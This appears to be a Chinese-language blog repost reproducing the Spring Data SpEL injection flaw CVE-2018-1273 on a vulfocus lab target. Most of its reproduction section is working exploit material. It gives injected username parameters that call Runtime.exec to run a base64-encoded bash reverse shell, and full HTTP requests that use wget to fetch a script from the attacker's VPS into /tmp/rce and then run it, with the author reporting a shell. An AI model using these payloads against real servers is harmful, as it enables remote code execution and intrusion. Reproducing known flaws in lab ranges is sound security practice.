栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

spring 代码执行 (CVE-2018-1273)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

spring 代码执行 (CVE-2018-1273)

spring 代码执行 CVE-2018-1273
  • spring 代码执行 (CVE-2018-1273)
    • 0x01 漏洞描述
    • 0x02 影响范围
    • 0x03 漏洞复现
      • wget反弹shell
    • 0x04 漏洞修复

spring 代码执行 (CVE-2018-1273) 0x01 漏洞描述

Spring expression Language是一个功能强大的表达式 语言支持查询和在运行时操作一个对象图。 攻击者可以在未获得授权的情况下,将精心制作的请求参数注入到存在该漏洞的服务器上,从而发起远程代码执行攻击。

0x02 影响范围 0x03 漏洞复现

(1)访问靶场
从叶子图标可知 是 spring框架

(2)访问/users

http://vulfocus.fofa.so:56622/users

(3) 注册用户 提交抓包


(4) 构造payload 发包测试
状态码为500的话 代码才可能执行成功

Java Runtime.exe() 执行命令与反弹shell 要进行编码
反弹shell
payload

	username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCRJRlMkOS1pPiYvZGV2L3R2PCYx}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

编码后bash 反弹 状态码都是200 监听机也未返回shell未成功

看别人复现都是 直接base64编码 执行就反弹了shell
不知道为什么 我这里 无论是在线环境 还是自己docker启动的环境 都返回状态码200 反弹shell没有成功

不知道其他师傅怎么做的

wget反弹shell
payload

sername[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget --output-document /tmp/rce VPSip地址/cmd.txt")]=&password=&repeatedPassword=
POST /users?page=&size=5 HTTP/1.1
Host: vulfocus.fofa.so:34570
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
Origin: http://vulfocus.fofa.so:34570
Connection: close
Referer: http://vulfocus.fofa.so:34570/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget --output-document /tmp/rce VPSIP地址/cmd.txt")]=&password=&repeatedPassword=

执行成功

bash /tmp/rce 执行反弹shell脚本

POST /users?page=&size=5 HTTP/1.1
Host: vulfocus.fofa.so:34570
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Origin: http://vulfocus.fofa.so:34570
Connection: close
Referer: http://vulfocus.fofa.so:34570/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/rce")]=&password=&repeatedPassword=


反弹shell成功

0x04 漏洞修复

升级版本

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/462753.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号